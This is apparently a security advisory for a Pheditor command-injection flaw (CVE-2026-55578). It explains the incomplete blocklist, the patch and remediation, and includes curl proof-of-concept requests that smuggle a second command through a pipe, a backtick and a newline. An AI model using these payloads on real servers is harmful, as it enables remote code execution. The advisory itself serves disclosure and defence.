CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist
Pheditor's built-in terminal blocks some shell metacharacters but misses the pipe operator, backtick, and newline byte, letting any logged-in user run arbitrary OS commands on the server.
The problem
Pheditor 2.0.1 through 2.0.5 passes the POST parameter command directly to shell_exec() after a blocklist check at pheditor.php:557. The blocklist catches &, ;, ||, and $, but leaves single |, backtick, and the newline byte (0x0A) unblocked.
A TERMINAL_COMMANDS allowlist also validates the command prefix, but only checks that the string starts with a permitted name. All three bypasses satisfy that prefix check while appending injected commands after the metacharacter, giving any authenticated user with the terminal permission (on by default) full RCE as the web server user.
Proof of concept
A working proof-of-concept for CVE-2026-55578 in pheditor/pheditor, with the exact payload below.
# Bypass 1: single pipe (filter blocks || but not |)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode "command=ls | id" \
--data-urlencode "dir="
# Expected: uid=... gid=... — id output proves RCE
# Bypass 2: backtick substitution (not in blocklist at all)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
# Bypass 3: newline byte 0x0A (only first line checked against allowlist)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode $'command=ls\nid' \
--data-urlencode "dir="The root cause is CWE-78: the blocklist at pheditor.php:557 is a denylist of specific character sequences, not a whitelist of safe input. Blocklist approaches fail when any metacharacter is overlooked. Single | pipes stdout of the whitelisted command into an arbitrary second command.
Backtick substitution executes the inner command before the outer one even runs. A literal newline splits the input into two shell statements, and only the first line is validated.
The 2.0.6 patch extends the strpos check to also block | (catching both | and ||), the backtick character, and \n (0x0A), so all three bypass paths are closed. The fix is still a blocklist, so the recommended long-term remediation is to parse the command into an executable and discrete arguments, validate the executable by exact match, and pass each argument through escapeshellarg() or use proc_open() with an argument array.
The fix
Update to pheditor 2.0.6. In that release the strpos blocklist in pheditor.php:557 is extended to include |, ` `, and \n. If you cannot update immediately, disable the terminal permission in the PERMISSIONS constant and change the default password from admin`.
Reported by Thai Son Dinh (sondt99).
Related research
- high · 8.8Pheditor Terminal Command-Allowlist Bypass via Argument Injection (RCE)
- critical · 10Pheditor: Authentication Bypass in Forced Password-Change Flow
- critical · 9.8CVE-2026-55579CVE-2026-55579: Pheditor Hardcoded Default Password Enables Unauthenticated RCE
- highCVE-2026-40187CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection